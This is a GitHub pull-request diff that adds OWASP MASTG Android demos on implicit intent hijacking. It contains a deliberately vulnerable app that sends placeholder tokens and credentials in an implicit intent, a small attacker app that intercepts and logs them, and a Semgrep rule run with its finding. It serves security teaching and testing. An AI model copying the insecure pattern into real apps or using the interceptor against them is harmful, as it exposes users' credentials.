Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.datainteceptor">
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package="com.example.datainteceptor">
package="com.example.datainterceptor">

Copilot uses AI. Check for mistakes.

<application android:label="AttackerApp">

<!-- Default launcher activity -->
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<!-- Interceptor activity to catch implicit intent -->
<activity android:name=".InterceptorActivity"
android:exported="true">
<intent-filter>
<action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

</application>
</manifest>
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="35"
android:compileSdkVersionCodename="15"
package="org.owasp.mastestapp"
platformBuildVersionCode="35"
platformBuildVersionName="15">
<uses-sdk
android:minSdkVersion="29"
android:targetSdkVersion="35"/>
<uses-permission android:name="android.permission.INTERNET"/>
<permission
android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application
android:theme="@style/Theme.MASTestApp"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:debuggable="true"
android:testOnly="true"
android:allowBackup="true"
android:supportsRtl="true"
android:extractNativeLibs="false"
android:fullBackupContent="@xml/backup_rules"
android:roundIcon="@mipmap/ic_launcher_round"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@xml/data_extraction_rules">
<activity
android:theme="@style/Theme.MASTestApp"
android:name="org.owasp.mastestapp.MainActivity"
android:exported="true"
android:windowSoftInputMode="adjustResize">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="org.owasp.mastestapp.VulnerableActivity"
android:exported="true">
<intent-filter>
<action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity
android:name="androidx.compose.ui.tooling.PreviewActivity"
android:exported="true"/>
<activity
android:name="androidx.activity.ComponentActivity"
android:exported="true"/>
<provider
android:name="androidx.startup.InitializationProvider"
android:exported="false"
android:authorities="org.owasp.mastestapp.androidx-startup">
<meta-data
android:name="androidx.emoji2.text.EmojiCompatInitializer"
android:value="androidx.startup"/>
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:value="androidx.startup"/>
<meta-data
android:name="androidx.profileinstaller.ProfileInstallerInitializer"
android:value="androidx.startup"/>
</provider>
<receiver
android:name="androidx.profileinstaller.ProfileInstallReceiver"
android:permission="android.permission.DUMP"
android:enabled="true"
android:exported="true"
android:directBootAware="false">
<intent-filter>
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
</intent-filter>
</receiver>
</application>
</manifest>
42 changes: 42 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MASTG-DEMO-0058.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
---
platform: android
title: Implicit Intent Hijacking with same custom intent filter
id: MASTG-DEMO-0058
code: [kotlin]
test: MASTG-TEST-0286
profiles: [L1, L2]
---

### Sample

The code snippet below demonstrates the use of an implicit intent with sensitive data and a custom action, without specifying a target component.

{{ MastgTest.kt # MastgTest_reversed.java }}

### MastgTestAttacker.kt

The attacker app has an exported activity that includes a corresponding `<intent-filter>` which registers the identical custom action, enabling it to capture the implicit intent sent out by the victim app.

{{ MastgTestAttacker.kt }}

### MastgTestInternalData.kt

A component within the vulnerable app originally intended to process sensitive data, but is exposed via an implicit intent mechanism. Although not explicitly targeted, it can be hijacked by any app that claims to handle the same action.

{{ MastgTestInternalData.kt }}

### Steps

1. Install the attacker app on a device using @MASTG-TECH-0004.
2. On the vulnerable app, click on start to start the test.

{{ MastgTestAttacker.kt }}
{{ AndroidManifestAttacker_app.xml }}

### Observation

The attacker app successfully intercepted the intent containing sensitive extras such as tokens, API keys, and credentials. This confirms that any app declaring a matching `<intent-filter>` can receive these values without restriction.

### Evaluation

The test fails due to the use of an exported activity (VulnerableActivity) that includes an intent filter with a custom action. Combined with the implicit intent in `MastgTest.kt`, this creates a vulnerable pattern where sensitive data is transmitted to an untrusted receiver.
32 changes: 32 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTest.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
package org.owasp.mastestapp

import android.util.Log
import android.content.Context
import android.content.Intent

class MastgTest (private val context: Context){

fun mastgTest(): String {
val sensitiveString = "Hello from the OWASP MASTG Test app."

// Vulnerable: Using implicit intent with sensitive data
val vulnerableIntent = Intent().apply {
action = "org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"
putExtra("sensitive_token", "auth_token_12345")
putExtra("user_credentials", "admin:password123")
putExtra("api_key", "sk-1234567890abcdef")
putExtra("message", sensitiveString)
}

// Launch implicit intent - any app can intercept this
try {
context.startActivity(vulnerableIntent)
Log.d("MASTG-TEST", "Launched vulnerable implicit intent with sensitive data")
} catch (e: Exception) {
Log.e("MASTG-TEST", "Failed to launch intent: ${e.message}")
}

Log.d("MASTG-TEST", sensitiveString)
return sensitiveString
}
}
24 changes: 24 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTestAttacker.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
package com.example.datainteceptor
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package com.example.datainteceptor
package com.example.datainterceptor

Copilot uses AI. Check for mistakes.

import android.app.Activity
import android.os.Bundle
import android.util.Log
import android.widget.TextView

class InterceptorActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

val data = StringBuilder("Intercepted Data:\n")

intent?.extras?.keySet()?.forEach { key ->
val value = intent.getStringExtra(key)
data.append("$key: $value\n")
Log.w("INTERCEPTOR", "$key = $value")
}

val textView = TextView(this)
textView.text = data.toString()
setContentView(textView)
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
package com.example.datainteceptor
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package com.example.datainteceptor
package com.example.datainterceptor

Copilot uses AI. Check for mistakes.

import android.app.Activity
import android.os.Bundle
import android.widget.TextView

class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

val textView = TextView(this)
textView.text = "Exploit App Ready. Waiting to intercept intent..."
setContentView(textView)
}
}
46 changes: 46 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTestInternalData.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
package org.owasp.mastestapp

import android.app.Activity
import android.os.Bundle
import android.util.Log
import android.widget.TextView

class VulnerableActivity : Activity() {

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

// Simple layout to show the received data
val textView = TextView(this)
textView.text = "Processing sensitive data..."
setContentView(textView)

// Process the received intent data
val receivedData = StringBuilder("Received sensitive data:\n")

intent?.let { intent ->
intent.getStringExtra("sensitive_token")?.let {
receivedData.append("Token: $it\n")
Log.d("VULNERABLE-APP", "Received token: $it")
}

intent.getStringExtra("user_credentials")?.let {
receivedData.append("Credentials: $it\n")
Log.d("VULNERABLE-APP", "Received credentials: $it")
}

intent.getStringExtra("api_key")?.let {
receivedData.append("API Key: $it\n")
Log.d("VULNERABLE-APP", "Received API key: $it")
}

intent.getStringExtra("message")?.let {
receivedData.append("Message: $it\n")
Log.d("VULNERABLE-APP", "Received message: $it")
}
}

textView.text = receivedData.toString()
Log.d("VULNERABLE-APP", "VulnerableActivity processed data")
}
}
37 changes: 37 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTest_reversed.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
package org.owasp.mastestapp;

import android.content.Context;
import android.content.Intent;
import android.util.Log;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;

/* compiled from: MastgTest.kt */
@Metadata(d1 = {"\u0000\u0018\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\u000e\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u000f\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0004\b\u0004\u0010\u0005J\u0006\u0010\u0006\u001a\u00020\u0007R\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\b"}, d2 = {"Lorg/owasp/mastestapp/MastgTest;", "", "context", "Landroid/content/Context;", "<init>", "(Landroid/content/Context;)V", "mastgTest", "", "app_debug"}, k = 1, mv = {2, 0, 0}, xi = 48)
/* loaded from: classes3.dex */
public final class MastgTest {
public static final int $stable = 8;
private final Context context;

public MastgTest(Context context) {
Intrinsics.checkNotNullParameter(context, "context");
this.context = context;
}

public final String mastgTest() {
Intent vulnerableIntent = new Intent();
vulnerableIntent.setAction("org.owasp.mastestapp.PROCESS_SENSITIVE_DATA");
vulnerableIntent.putExtra("sensitive_token", "auth_token_12345");
vulnerableIntent.putExtra("user_credentials", "admin:password123");
vulnerableIntent.putExtra("api_key", "sk-1234567890abcdef");
vulnerableIntent.putExtra("message", "Hello from the OWASP MASTG Test app.");
try {
this.context.startActivity(vulnerableIntent);
Log.d("MASTG-TEST", "Launched vulnerable implicit intent with sensitive data");
} catch (Exception e) {
Log.e("MASTG-TEST", "Failed to launch intent: " + e.getMessage());
}
Log.d("MASTG-TEST", "Hello from the OWASP MASTG Test app.");
return "Hello from the OWASP MASTG Test app.";
}
}
36 changes: 36 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/MASTG-DEMO-0059.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
---
platform: android
title: Implicit intent to trigger internal app components
id: MASTG-DEMO-0059
code: [kotlin]
test: MASTG-TEST-0287
profiles: [L1, L2]
---

### Sample

The manifest snippet outlines an exported activity featuring an `<intent-filter>` with a unique action. This allows the component to be reachable by any application on the device that registers the identical intent action, which could allow a malicious app to capture such intents.

{{ ../MASTG-DEMO-0058/AndroidManifest_reversed.xml }}

### Steps

Let's run our @MASTG-TOOL-0110 rule against the manifest file and code.

{{ ../../../../rules/mastg-android-custom-intent-filter-intercept.yml }}
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The referenced rule file path 'mastg-android-custom-intent-filter-intercept.yml' doesn't match the actual filename 'mastg-android-custom-intent-intecept.yml'. This will result in a broken reference.

Suggested change
{{ ../../../../rules/mastg-android-custom-intent-filter-intercept.yml }}
{{ ../../../../rules/mastg-android-custom-intent-intecept.yml }}

Copilot uses AI. Check for mistakes.

{{ run.sh }}

### Observation

Semgrep identifies that the `org.owasp.mastestapp.VulnerableActivity` component is both:

- Marked as `android:exported="true"`.

- Declares an `<intent-filter>` with a custom action `org.owasp.mastestapp.PROCESS_SENSITIVE_DATA`.

This configuration allows any third-party app to register the same action and receive the implicit intent, enabling potential hijacking of sensitive data.

### Evaluation

The test fails because the exported activity can be accessed through a custom implicit action. This exposes internal functionality to untrusted apps.
18 changes: 18 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/output.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@


┌────────────────┐
│ 1 Code Finding │
└────────────────┘

AndroidManifest_reversed.xml
❯❱ exported-implicit-custom-action
Exported activity with custom implicit intent action. May enable intent hijacking.

41┆ <activity
42┆ android:name="org.owasp.mastestapp.VulnerableActivity"
43┆ android:exported="true">
44┆ <intent-filter>
45┆ <action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"/>
46┆ <category android:name="android.intent.category.DEFAULT"/>
47┆ </intent-filter>
48┆ </activity>
2 changes: 2 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# shellcheck disable=SC2148
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-filter-intercept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The referenced rule file 'mastg-android-custom-intent-filter-intercept.yml' doesn't match the actual filename 'mastg-android-custom-intent-intecept.yml'. This will cause the semgrep command to fail.

Suggested change
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-filter-intercept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-intecept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt

Copilot uses AI. Check for mistakes.
Loading
Loading